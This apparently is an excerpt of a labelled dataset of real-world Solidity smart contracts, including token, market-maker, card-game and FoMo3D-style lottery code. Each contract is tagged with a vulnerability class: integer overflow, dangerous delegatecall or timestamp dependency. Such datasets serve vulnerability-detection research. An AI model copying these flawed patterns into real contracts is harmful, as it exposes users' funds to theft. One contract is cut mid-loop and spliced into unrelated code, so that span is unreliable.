string public symbol; function TestCoin( ) public { balances[msg.sender] = 10*10**26; totalSupply = 10*10**26; name = ""LHJT""; decimals = 18; symbol = ""LHJT""; } function transfer(address _to, uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } }",./Dataset/integer overflow (OF)/,4,4 13000.sol,"pragma solidity ^0.4.18; contract Ownable { address public owner; address public newOwnerCandidate; event OwnershipRequested(address indexed by, address indexed to); event OwnershipTransferred(address indexed from, address indexed to); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyOwnerCandidate() { require(msg.sender == newOwnerCandidate); _; } function requestOwnershipTransfer(address _newOwnerCandidate) external onlyOwner { require(_newOwnerCandidate != address(0)); newOwnerCandidate = _newOwnerCandidate; OwnershipRequested(msg.sender, newOwnerCandidate); } function acceptOwnership() external onlyOwnerCandidate { address previousOwner = owner; owner = newOwnerCandidate; newOwnerCandidate = address(0); OwnershipTransferred(previousOwner, owner); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; require(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function toPower2(uint256 a) internal pure returns (uint256) { return mul(a, a); } function sqrt(uint256 a) internal pure returns (uint256) { uint256 c = (a + 1) / 2; uint256 b = a; while (c < b) { b = c; c = (a / c + c) / 2; } return b; } } contract ERC20 { uint public totalSupply; function balanceOf(address _owner) constant public returns (uint balance); function transfer(address _to, uint _value) public returns (bool success); function transferFrom(address _from, address _to, uint _value) public returns (bool success); function approve(address _spender, uint _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint remaining); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract BasicToken is ERC20 { using SafeMath for uint256; uint256 public totalSupply; mapping (address => mapping (address => uint256)) allowed; mapping (address => uint256) balances; event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function approve(address _spender, uint256 _value) public returns (bool) { if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) { revert(); } allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256 remaining) { return allowed[_owner][_spender]; } function balanceOf(address _owner) constant public returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } } contract ERC223Receiver { function tokenFallback(address _sender, uint _value, bytes _data) external returns (bool ok); } contract ERC677 is ERC20 { function transferAndCall(address to, uint value, bytes data) public returns (bool ok); event TransferAndCall(address indexed from, address indexed to, uint value, bytes data); } contract Standard677Token is ERC677, BasicToken { function transferAndCall(address _to, uint _value, bytes _data) public returns (bool) { require(super.transfer(_to, _value)); TransferAndCall(msg.sender, _to, _value, _data); if (isContract(_to)) return contractFallback(_to, _value, _data); return true; } function contractFallback(address _to, uint _value, bytes _data) private returns (bool) { ERC223Receiver receiver = ERC223Receiver(_to); require(receiver.tokenFallback(msg.sender, _value, _data)); return true; } function isContract(address _addr) private constant returns (bool is_contract) { uint length; assembly { length := extcodesize(_addr) } return length > 0; } } contract TokenHolder is Ownable { function transferAnyERC20Token(address _tokenAddress, uint256 _amount) public onlyOwner returns (bool success) { return ERC20(_tokenAddress).transfer(owner, _amount); } } contract ColuLocalCurrency is Ownable, Standard677Token, TokenHolder { using SafeMath for uint256; string public name; string public symbol; uint8 public decimals; string public tokenURI; event TokenURIChanged(string newTokenURI); function ColuLocalCurrency(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply, string _tokenURI) public { require(_totalSupply != 0); require(bytes(_name).length != 0); require(bytes(_symbol).length != 0); totalSupply = _totalSupply; name = _name; symbol = _symbol; decimals = _decimals; tokenURI = _tokenURI; balances[msg.sender] = totalSupply; } function setTokenURI(string _tokenURI) public onlyOwner { tokenURI = _tokenURI; TokenURIChanged(_tokenURI); } } contract Standard223Receiver is ERC223Receiver { Tkn tkn; struct Tkn { address addr; address sender; uint256 value; } bool __isTokenFallback; modifier tokenPayable { require(__isTokenFallback); _; } function tokenFallback(address _sender, uint _value, bytes _data) external returns (bool ok) { if (!supportsToken(msg.sender)) { return false; } tkn = Tkn(msg.sender, _sender, _value); __isTokenFallback = true; if (!address(this).delegatecall(_data)) { __isTokenFallback = false; return false; } __isTokenFallback = false; return true; } function supportsToken(address token) public constant returns (bool); } contract TokenOwnable is Standard223Receiver, Ownable { modifier onlyTokenOwner() { require(tkn.sender == owner); _; } } contract EllipseMarketMaker is TokenOwnable { uint256 public constant PRECISION = 10 ** 18; ERC20 public token1; ERC20 public token2; uint256 public R1; uint256 public R2; uint256 public S1; uint256 public S2; bool public operational; bool public openForPublic; address public mmLib; function EllipseMarketMaker(address _mmLib, address _token1, address _token2) public { require(_mmLib != address(0)); bytes4 sig = 0x6dd23b5b; uint256 argsSize = 3 * 32; uint256 dataSize = 4 + argsSize; bytes memory m_data = new bytes(dataSize); assembly { mstore(add(m_data, 0x20), sig) mstore(add(m_data, 0x24), _mmLib) mstore(add(m_data, 0x44), _token1) mstore(add(m_data, 0x64), _token2) } require(_mmLib.delegatecall(m_data)); } function supportsToken(address token) public constant returns (bool) { return (token1 == token || token2 == token); } function() public { address _mmLib = mmLib; if (msg.data.length > 0) { assembly { calldatacopy(0xff, 0, calldatasize) let retVal := delegatecall(gas, _mmLib, 0xff, calldatasize, 0, 0x20) switch retVal case 0 { revert(0,0) } default { return(0, 0x20) } } } } } contract MarketMaker is ERC223Receiver { function getCurrentPrice() public constant returns (uint _price); function change(address _fromToken, uint _amount, address _toToken) public returns (uint _returnAmount); function change(address _fromToken, uint _amount, address _toToken, uint _minReturn) public returns (uint _returnAmount); function change(address _toToken) public returns (uint _returnAmount); function change(address _toToken, uint _minReturn) public returns (uint _returnAmount); function quote(address _fromToken, uint _amount, address _toToken) public constant returns (uint _returnAmount); function openForPublicTrade() public returns (bool success); function isOpenForPublic() public returns (bool success); event Change(address indexed fromToken, uint inAmount, address indexed toToken, uint returnAmount, address indexed account); } contract IEllipseMarketMaker is MarketMaker { uint256 public constant PRECISION = 10 ** 18; ERC20 public token1; ERC20 public token2; uint256 public R1; uint256 public R2; uint256 public S1; uint256 public S2; bool public operational; bool public openForPublic; address public mmLib; function supportsToken(address token) public constant returns (bool); function calcReserve(uint256 _R1, uint256 _S1, uint256 _S2) public pure returns (uint256); function validateReserves() public view returns (bool); function withdrawExcessReserves() public returns (uint256); function initializeAfterTransfer() public returns (bool); function initializeOnTransfer() public returns (bool); function getPrice(uint256 _R1, uint256 _R2, uint256 _S1, uint256 _S2) public constant returns (uint256); } contract CurrencyFactory is Standard223Receiver, TokenHolder { struct CurrencyStruct { string name; uint8 decimals; uint256 totalSupply; address owner; address mmAddress; } mapping (address => CurrencyStruct) public currencyMap; address public clnAddress; address public mmLibAddress; address[] public tokens; event MarketOpen(address indexed marketMaker); event TokenCreated(address indexed token, address indexed owner); modifier tokenIssuerOnly(address token, address owner) { require(currencyMap[token].owner == owner); _; } modifier CLNOnly() { require(msg.sender == clnAddress); _; } modifier marketClosed(address _token) { require(!MarketMaker(currencyMap[_token].mmAddress).isOpenForPublic()); _; } modifier marketOpen(address _token) { require(MarketMaker(currencyMap[_token].mmAddress).isOpenForPublic()); _; } function CurrencyFactory(address _mmLib, address _clnAddress) public { require(_mmLib != address(0)); require(_clnAddress != address(0)); mmLibAddress = _mmLib; clnAddress = _clnAddress; } function createCurrency(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply, string _tokenURI) public returns (address) { ColuLocalCurrency subToken = new ColuLocalCurrency(_name, _symbol, _decimals, _totalSupply, _tokenURI); EllipseMarketMaker newMarketMaker = new EllipseMarketMaker(mmLibAddress, clnAddress, subToken); require(subToken.transfer(newMarketMaker, _totalSupply)); require(IEllipseMarketMaker(newMarketMaker).initializeAfterTransfer()); currencyMap[subToken] = CurrencyStruct({ name: _name, decimals: _decimals, totalSupply: _totalSupply, mmAddress: newMarketMaker, owner: msg.sender}); tokens.push(subToken); TokenCreated(subToken, msg.sender); return subToken; } function createCurrency(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public returns (address) { return createCurrency(_name, _symbol, _decimals, _totalSupply, ''); } function insertCLNtoMarketMaker(address _token, uint256 _clnAmount) public tokenIssuerOnly(_token, msg.sender) returns (uint256 _subTokenAmount) { require(_clnAmount > 0); address marketMakerAddress = getMarketMakerAddressFromToken(_token); require(ERC20(clnAddress).transferFrom(msg.sender, this, _clnAmount)); require(ERC20(clnAddress).approve(marketMakerAddress, _clnAmount)); _subTokenAmount = IEllipseMarketMaker(marketMakerAddress).change(clnAddress, _clnAmount, _token); require(ERC20(_token).transfer(msg.sender, _subTokenAmount)); } function insertCLNtoMarketMaker(address _token) public tokenPayable CLNOnly tokenIssuerOnly(_token, tkn.sender) returns (uint256 _subTokenAmount) { address marketMakerAddress = getMarketMakerAddressFromToken(_token); require(ERC20(clnAddress).approve(marketMakerAddress, tkn.value)); _subTokenAmount = IEllipseMarketMaker(marketMakerAddress).change(clnAddress, tkn.value, _token); require(ERC20(_token).transfer(tkn.sender, _subTokenAmount)); } function extractCLNfromMarketMaker(address _token, uint256 _ccAmount) public tokenIssuerOnly(_token, msg.sender) returns (uint256 _clnTokenAmount) { address marketMakerAddress = getMarketMakerAddressFromToken(_token); require(ERC20(_token).transferFrom(msg.sender, this, _ccAmount)); require(ERC20(_token).approve(marketMakerAddress, _ccAmount)); _clnTokenAmount = IEllipseMarketMaker(marketMakerAddress).change(_token, _ccAmount, clnAddress); require(ERC20(clnAddress).transfer(msg.sender, _clnTokenAmount)); } function extractCLNfromMarketMaker() public tokenPayable tokenIssuerOnly(msg.sender, tkn.sender) returns (uint256 _clnTokenAmount) { address marketMakerAddress = getMarketMakerAddressFromToken(msg.sender); require(ERC20(msg.sender).approve(marketMakerAddress, tkn.value)); _clnTokenAmount = IEllipseMarketMaker(marketMakerAddress).change(msg.sender, tkn.value, clnAddress); require(ERC20(clnAddress).transfer(tkn.sender, _clnTokenAmount)); } function openMarket(address _token) public tokenIssuerOnly(_token, msg.sender) returns (bool) { address marketMakerAddress = getMarketMakerAddressFromToken(_token); require(MarketMaker(marketMakerAddress).openForPublicTrade()); Ownable(marketMakerAddress).requestOwnershipTransfer(msg.sender); Ownable(_token).requestOwnershipTransfer(msg.sender); MarketOpen(marketMakerAddress); return true; } function supportsToken(address _token) public constant returns (bool) { return (clnAddress == _token || currencyMap[_token].totalSupply > 0); } function setTokenURI(address _token, string _tokenURI) public tokenIssuerOnly(_token, msg.sender) marketClosed(_token) returns (bool) { ColuLocalCurrency(_token).setTokenURI(_tokenURI); return true; } function getMarketMakerAddressFromToken(address _token) public constant returns (address _marketMakerAddress) { _marketMakerAddress = currencyMap[_token].mmAddress; require(_marketMakerAddress != address(0)); } }",./Dataset/dangerous delegatecall (DE)/,1,1 6272.sol,"pragma solidity ^0.4.18; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract AccessAdmin is Ownable { mapping (address => bool) adminContracts; mapping (address => bool) actionContracts; function setAdminContract(address _addr, bool _useful) public onlyOwner { require(_addr != address(0)); adminContracts[_addr] = _useful; } modifier onlyAdmin { require(adminContracts[msg.sender]); _; } function setActionContract(address _actionAddr, bool _useful) public onlyAdmin { actionContracts[_actionAddr] = _useful; } modifier onlyAccess() { require(actionContracts[msg.sender]); _; } } interface ERC20 { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract JadeCoin is ERC20, AccessAdmin { using SafeMath for SafeMath; string public constant name = ""MAGICACADEMY JADE""; string public constant symbol = ""Jade""; uint8 public constant decimals = 0; uint256 public roughSupply; uint256 public totalJadeProduction; uint256[] public totalJadeProductionSnapshots; uint256 public nextSnapshotTime; uint256 public researchDivPercent = 10; mapping(address => uint256) public jadeBalance; mapping(address => mapping(uint8 => uint256)) public coinBalance; mapping(uint8 => uint256) totalEtherPool; mapping(address => mapping(uint256 => uint256)) public jadeProductionSnapshots; mapping(address => mapping(uint256 => bool)) private jadeProductionZeroedSnapshots; mapping(address => uint256) public lastJadeSaveTime; mapping(address => uint256) public lastJadeProductionUpdate; mapping(address => uint256) private lastJadeResearchFundClaim; mapping(address => uint256) private lastJadeDepositFundClaim; uint256[] private allocatedJadeResearchSnapshots; mapping(address => mapping(address => uint256)) private allowed; event ReferalGain(address player, address referal, uint256 amount); function JadeCoin() public { } function() external payable { totalEtherPool[1] += msg.value; } function tweakDailyDividends(uint256 newResearchPercent) external { require(msg.sender == owner); require(newResearchPercent > 0 && newResearchPercent <= 10); researchDivPercent = newResearchPercent; } function totalSupply() public constant returns(uint256) { return roughSupply; } function balanceOf(address player) public constant returns(uint256) { return SafeMath.add(jadeBalance[player],balanceOfUnclaimed(player)); } function balanceOfUnclaimed(address player) public constant returns (uint256) { uint256 lSave = lastJadeSaveTime[player]; if (lSave > 0 && lSave < block.timestamp) { return SafeMath.mul(getJadeProduction(player),SafeMath.div(SafeMath.sub(block.timestamp,lSave),10)); } return 0; } function getJadeProduction(address player) public constant returns (uint256){ return jadeProductionSnapshots[player][lastJadeProductionUpdate[player]]; } function getTotalJadeProduction() external view returns (uint256) { return totalJadeProduction; } function getlastJadeProductionUpdate(address player) public view returns (uint256) { return lastJadeProductionUpdate[player]; } function increasePlayersJadeProduction(address player, uint256 increase) public onlyAccess { jadeProductionSnapshots[player][allocatedJadeResearchSnapshots.length] = SafeMath.add(getJadeProduction(player),increase); lastJadeProductionUpdate[player] = allocatedJadeResearchSnapshots.length; totalJadeProduction = SafeMath.add(totalJadeProduction,increase); } function reducePlayersJadeProduction(address player, uint256 decrease) public onlyAccess { uint256 previousProduction = getJadeProduction(player); uint256 newProduction = SafeMath.sub(previousProduction, decrease); if (newProduction == 0) { jadeProductionZeroedSnapshots[player][allocatedJadeResearchSnapshots.length] = true; delete jadeProductionSnapshots[player][allocatedJadeResearchSnapshots.length]; } else { jadeProductionSnapshots[player][allocatedJadeResearchSnapshots.length] = newProduction; } lastJadeProductionUpdate[player] = allocatedJadeResearchSnapshots.length; totalJadeProduction = SafeMath.sub(totalJadeProduction,decrease); } function updatePlayersCoin(address player) internal { uint256 coinGain = balanceOfUnclaimed(player); lastJadeSaveTime[player] = block.timestamp; roughSupply = SafeMath.add(roughSupply,coinGain); jadeBalance[player] = SafeMath.add(jadeBalance[player],coinGain); } function updatePlayersCoinByOut(address player) external onlyAccess { uint256 coinGain = balanceOfUnclaimed(player); lastJadeSaveTime[player] = block.timestamp; roughSupply = SafeMath.add(roughSupply,coinGain); jadeBalance[player] = SafeMath.add(jadeBalance[player],coinGain); } function transfer(address recipient, uint256 amount) public returns (bool) { updatePlayersCoin(msg.sender); require(amount <= jadeBalance[msg.sender]); jadeBalance[msg.sender] = SafeMath.sub(jadeBalance[msg.sender],amount); jadeBalance[recipient] = SafeMath.add(jadeBalance[recipient],amount); Transfer(msg.sender, recipient, amount); return true; } function transferFrom(address player, address recipient, uint256 amount) public returns (bool) { updatePlayersCoin(player); require(amount <= allowed[player][msg.sender] && amount <= jadeBalance[player]); jadeBalance[player] = SafeMath.sub(jadeBalance[player],amount); jadeBalance[recipient] = SafeMath.add(jadeBalance[recipient],amount); allowed[player][msg.sender] = SafeMath.sub(allowed[player][msg.sender],amount); Transfer(player, recipient, amount); return true; } function approve(address approvee, uint256 amount) public returns (bool) { allowed[msg.sender][approvee] = amount; Approval(msg.sender, approvee, amount); return true; } function allowance(address player, address approvee) public constant returns(uint256) { return allowed[player][approvee]; } function updatePlayersCoinByPurchase(address player, uint256 purchaseCost) public onlyAccess { uint256 unclaimedJade = balanceOfUnclaimed(player); if (purchaseCost > unclaimedJade) { uint256 jadeDecrease = SafeMath.sub(purchaseCost, unclaimedJade); require(jadeBalance[player] >= jadeDecrease); roughSupply = SafeMath.sub(roughSupply,jadeDecrease); jadeBalance[player] = SafeMath.sub(jadeBalance[player],jadeDecrease); } else { uint256 jadeGain = SafeMath.sub(unclaimedJade,purchaseCost); roughSupply = SafeMath.add(roughSupply,jadeGain); jadeBalance[player] = SafeMath.add(jadeBalance[player],jadeGain); } lastJadeSaveTime[player] = block.timestamp; } function JadeCoinMining(address _addr, uint256 _amount) external onlyAdmin { roughSupply = SafeMath.add(roughSupply,_amount); jadeBalance[_addr] = SafeMath.add(jadeBalance[_addr],_amount); } function setRoughSupply(uint256 iroughSupply) external onlyAccess { roughSupply = SafeMath.add(roughSupply,iroughSupply); } function coinBalanceOf(address player,uint8 itype) external constant returns(uint256) { return coinBalance[player][itype]; } function setJadeCoin(address player, uint256 coin, bool iflag) external onlyAccess { if (iflag) { jadeBalance[player] = SafeMath.add(jadeBalance[player],coin); } else if (!iflag) { jadeBalance[player] = SafeMath.sub(jadeBalance[player],coin); } } function setCoinBalance(address player, uint256 eth, uint8 itype, bool iflag) external onlyAccess { if (iflag) { coinBalance[player][itype] = SafeMath.add(coinBalance[player][itype],eth); } else if (!iflag) { coinBalance[player][itype] = SafeMath.sub(coinBalance[player][itype],eth); } } function setLastJadeSaveTime(address player) external onlyAccess { lastJadeSaveTime[player] = block.timestamp; } function setTotalEtherPool(uint256 inEth, uint8 itype, bool iflag) external onlyAccess { if (iflag) { totalEtherPool[itype] = SafeMath.add(totalEtherPool[itype],inEth); } else if (!iflag) { totalEtherPool[itype] = SafeMath.sub(totalEtherPool[itype],inEth); } } function getTotalEtherPool(uint8 itype) external view returns (uint256) { return totalEtherPool[itype]; } function setJadeCoinZero(address player) external onlyAccess { jadeBalance[player]=0; } function getNextSnapshotTime() external view returns(uint256) { return nextSnapshotTime; } function viewUnclaimedResearchDividends() external constant returns (uint256, uint256, uint256) { uint256 startSnapshot = lastJadeResearchFundClaim[msg.sender]; uint256 latestSnapshot = allocatedJadeResearchSnapshots.length - 1; uint256 researchShare; uint256 previousProduction = jadeProductionSnapshots[msg.sender][lastJadeResearchFundClaim[msg.sender] - 1]; for (uint256 i = startSnapshot; i <= latestSnapshot; i++) { uint256 productionDuringSnapshot = jadeProductionSnapshots[msg.sender][i]; bool soldAllProduction = jadeProductionZeroedSnapshots[msg.sender][i]; if (productionDuringSnapshot == 0 && !soldAllProduction) { productionDuringSnapshot = previousProduction; } else { previousProduction = productionDuringSnapshot; } researchShare += (allocatedJadeResearchSnapshots[i] * productionDuringSnapshot) / totalJadeProductionSnapshots[i]; } return (researchShare, startSnapshot, latestSnapshot); } function claimResearchDividends(address referer, uint256 startSnapshot, uint256 endSnapShot) external { require(startSnapshot <= endSnapShot); require(startSnapshot >= lastJadeResearchFundClaim[msg.sender]); require(endSnapShot < allocatedJadeResearchSnapshots.length); uint256 researchShare; uint256 previousProduction = jadeProductionSnapshots[msg.sender][lastJadeResearchFundClaim[msg.sender] - 1]; for (uint256 i = startSnapshot; i <= endSnapShot; i++) { uint256 productionDuringSnapshot = jadeProductionSnapshots[msg.sender][i]; bool soldAllProduction = jadeProductionZeroedSnapshots[msg.sender][i]; if (productionDuringSnapshot == 0 && !soldAllProduction) { productionDuringSnapshot = previousProduction; } else { previousProduction = productionDuringSnapshot; } researchShare += (allocatedJadeResearchSnapshots[i] * productionDuringSnapshot) / totalJadeProductionSnapshots[i]; } if (jadeProductionSnapshots[msg.sender][endSnapShot] == 0 && !jadeProductionZeroedSnapshots[msg.sender][endSnapShot] && previousProduction > 0) { jadeProductionSnapshots[msg.sender][endSnapShot] = previousProduction; } lastJadeResearchFundClaim[msg.sender] = endSnapShot + 1; uint256 referalDivs; if (referer != address(0) && referer != msg.sender) { referalDivs = researchShare / 100; coinBalance[referer][1] += referalDivs; ReferalGain(referer, msg.sender, referalDivs); } coinBalance[msg.sender][1] += SafeMath.sub(researchShare,referalDivs); } function snapshotDailyGooResearchFunding() external onlyAdmin { uint256 todaysGooResearchFund = (totalEtherPool[1] * researchDivPercent) / 100; totalEtherPool[1] -= todaysGooResearchFund; totalJadeProductionSnapshots.push(totalJadeProduction); allocatedJadeResearchSnapshots.push(todaysGooResearchFund); nextSnapshotTime = block.timestamp + 24 hours; } } interface GameConfigInterface { function productionCardIdRange() external constant returns (uint256, uint256); function battleCardIdRange() external constant returns (uint256, uint256); function upgradeIdRange() external constant returns (uint256, uint256); function unitCoinProduction(uint256 cardId) external constant returns (uint256); function unitAttack(uint256 cardId) external constant returns (uint256); function unitDefense(uint256 cardId) external constant returns (uint256); function unitStealingCapacity(uint256 cardId) external constant returns (uint256); } contract CardsBase is JadeCoin { function CardsBase() public { setAdminContract(msg.sender,true); setActionContract(msg.sender,true); } struct Player { address owneraddress; } Player[] players; bool gameStarted; GameConfigInterface public schema; mapping(address => mapping(uint256 => uint256)) public unitsOwned; mapping(address => mapping(uint256 => uint256)) public upgradesOwned; mapping(address => uint256) public uintsOwnerCount; mapping(address=> mapping(uint256 => uint256)) public uintProduction; mapping(address => mapping(uint256 => uint256)) public unitCoinProductionIncreases; mapping(address => mapping(uint256 => uint256)) public unitCoinProductionMultiplier; mapping(address => mapping(uint256 => uint256)) public unitAttackIncreases; mapping(address => mapping(uint256 => uint256)) public unitAttackMultiplier; mapping(address => mapping(uint256 => uint256)) public unitDefenseIncreases; mapping(address => mapping(uint256 => uint256)) public unitDefenseMultiplier; mapping(address => mapping(uint256 => uint256)) public unitJadeStealingIncreases; mapping(address => mapping(uint256 => uint256)) public unitJadeStealingMultiplier; mapping(address => mapping(uint256 => uint256)) private unitMaxCap; function setConfigAddress(address _address) external onlyOwner { schema = GameConfigInterface(_address); } function beginGame(uint256 firstDivsTime) external payable onlyOwner { require(!gameStarted); gameStarted = true; nextSnapshotTime = firstDivsTime; totalEtherPool[1] = msg.value; } function endGame() external payable onlyOwner { require(gameStarted); gameStarted = false; } function getGameStarted() external constant returns (bool) { return gameStarted; } function AddPlayers(address _address) external onlyAccess { Player memory _player= Player({ owneraddress: _address }); players.push(_player); } function getRanking() external view returns (address[], uint256[],uint256[]) { uint256 len = players.length; uint256[] memory arr = new uint256[](len); address[] memory arr_addr = new address[](len); uint256[] memory arr_def = new uint256[](len); uint counter =0; for (uint k=0;k= a); return c; } }",./Dataset/timestamp dependency (TP)/,6,6 2119.sol,"pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularLong is F3Devents {} contract FoMoGame is modularLong { using SafeMath for *; using NameFilter for string; using F3DKeysCalcLong for uint256; address private team = 0xBd01103c36f400344b427Cb51934B765007e16f6; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xB066135b92A122225bf786C38BC5d2284BE7A27e); string constant public name = ""FoMoGame Official""; string constant public symbol = ""FGame""; uint256 private rndExtra_ = 0; uint256 private rndGap_ = 0; uint256 constant private rndInit_ = 12 hours; uint256 constant private rndInc_ = 15 seconds; uint256 constant private rndMax_ = 12 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(20,0); fees_[1] = F3Ddatasets.TeamFee(45,0); fees_[2] = F3Ddatasets.TeamFee(57,0); fees_[3] = F3Ddatasets.TeamFee(39,0); potSplit_[0] = F3Ddatasets.PotSplit(40,0); potSplit_[1] = F3Ddatasets.PotSplit(45,0); potSplit_[2] = F3Ddatasets.PotSplit(45,0); potSplit_[3] = F3Ddatasets.PotSplit(40,0); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; require (_addr == tx.origin); uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; 